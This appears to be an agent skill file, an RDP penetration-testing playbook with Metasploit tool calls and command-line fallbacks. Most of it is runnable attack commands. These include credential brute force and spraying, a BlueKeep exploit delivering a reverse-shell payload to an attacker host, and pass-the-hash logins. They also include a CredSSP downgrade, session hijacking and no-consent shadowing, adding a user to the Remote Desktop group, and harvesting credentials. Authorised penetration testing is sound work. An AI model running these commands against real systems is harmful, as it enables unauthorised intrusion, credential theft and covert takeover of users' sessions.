rdp-pentest

name	rdp-pentest
description	Guides Remote Desktop Protocol penetration testing. Use when port 3389 is discovered during scanning or when RDP service is identified on a target.

RDP Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Windows targets: load windows-pentest and internal-ad-pentest.
• Account lockout risk on brute force. Confirm ROE before spray attacks.

Ports and detection

Port	Service
3389/tcp	Remote Desktop Protocol (ms-wbt-server)
443/tcp	RD Gateway (HTTPS, when deployed)

Service fingerprint

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/rdp/rdp_scanner",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 3389, "THREADS": 5}
)

CLI fallback:

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 <target>
nc -vn <target> 3389

Workflow

Task Progress:
- [ ] NLA and encryption enumeration
- [ ] Credential validation or brute force
- [ ] BlueKeep / MS12-020 checks
- [ ] CredSSP downgrade and RD Gateway review
- [ ] Session access or tunnel setup
- [ ] Document findings

NLA and encryption enumeration

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/rdp/rdp_scanner",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 3389}
)

CLI fallback:

nmap --script rdp-enum-encryption -p 3389 <target>
nxc rdp <target> -u <user> -p <password>
nxc rdp <target> --nla-screenshot
nxc rdp <target> -u <user> -p <pass> --screenshot

Credential validation

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/rdp/rdp_scanner",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 3389, "USERNAME": "<user>", "PASSWORD": "<pass>"}
)

CLI fallback:

impacket-rdp_check <domain>/<user>:<pass>@<target>
xfreerdp /u:<user> /p:<pass> /v:<target>
xfreerdp /d:<domain> /u:<user> /pth:<NT_HASH> /v:<target>
rdesktop -d <domain> -u <user> -p <pass> <target>

Authentication brute force

MSF: No direct RDP brute-force module; use CLI.

CLI fallback:

crowbar -b rdp -s <target>/32 -U users.txt -c 'Password123'
hydra -L users.txt -p 'Password123' <target> rdp
nxc rdp <target> -u users.txt -p passwords.txt

BlueKeep (CVE-2019-0708)

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/windows/rdp/cve_2019_0708_bluekeep_rce",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "RPORT": 3389}
)
msf_run_exploit(
  module_name="exploit/windows/rdp/cve_2019_0708_bluekeep_rce",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 3389,
    "TARGET": 0,
    "GROOMBASE": "0x00000000",
    "GROOMSIZE": 250,
    "GROOMCHANNELS": 1
  },
  payload="windows/x64/meterpreter/reverse_tcp",
  payload_options={"LHOST": "<attacker>", "LPORT": 4444}
)

CLI fallback:

# BlueKeep detection: use MSF auxiliary above or msfconsole scanner; no dedicated nmap BlueKeep script
msfconsole -q -x 'use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS <target>; run; exit'
nmap --script rdp-enum-encryption -p 3389 <target>
# Exploit only after check confirms vulnerability; NLA must be disabled

Always msf_module_check before BlueKeep exploitation. High crash risk on wrong target.

MS12-020 check

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/rdp/ms12_020_check",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 3389}
)

CLI fallback:

nmap --script rdp-vuln-ms12-020 -p 3389 <target>

CredSSP downgrade

MSF: No direct module; use CLI.

CLI fallback:

# Force legacy CredSSP on client to test downgrade (Windows attacker)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" \
  /v AllowEncryptionOracle /t REG_DWORD /d 2 /f
xfreerdp /v:<target> /u:<user> /p:<pass> /sec:nla
# Check server: Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name SecurityLayer

Document if server accepts downgraded encryption (legacy finding).

RD Gateway

MSF: No direct module; use CLI.

CLI fallback:

# Enumerate RD Gateway on 443
nmap -p 443 --script http-ntlm-info,ssl-cert <gateway_fqdn>
# Connect through gateway
xfreerdp /v:<internal_host> /g:<gateway_fqdn> /u:<user> /p:<pass> /d:<domain>
# NTLM info from gateway
nmap -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll <gateway>

Pre-auth screenshot (NLA disabled)

MSF: No direct module; use CLI.

CLI fallback:

nxc rdp <target> --nla-screenshot
rdpscreenshot.py <target>

Pass-the-hash

MSF: No direct module; use CLI.

CLI fallback:

xfreerdp /u:<user> /pth:<NT_HASH> /v:<target>
nxc rdp <target> -u <user> -H <NT_HASH>

Session hijacking / shadowing

MSF: No direct module; use CLI.

CLI fallback:

query user
tscon <ID> /dest:<SESSIONNAME>
qwinsta /server:<target>
mstsc /v:<target> /shadow:<SESSION_ID> /control
mstsc /v:<target> /shadow:<SESSION_ID> /noconsentprompt

RDP tunneling

MSF: No direct module; use CLI.

CLI fallback:

xfreerdp /u:<user> /p:<pass> /v:<target> /drive:share,/local/path
xfreerdp /u:<user> /v:<target> /rdp2tcp:/path/to/rdp2tcp

Post-access

• Add user to RDP group: net localgroup "Remote Desktop Users" <user> /add
• Harvest creds from active sessions before tscon
• Load pivoting-pentest for tunneling over established sessions

Related skills

• windows-pentest - Windows host access and privesc
• internal-ad-pentest - domain credential reuse
• pivoting-pentest - RDP tunneling and port forwarding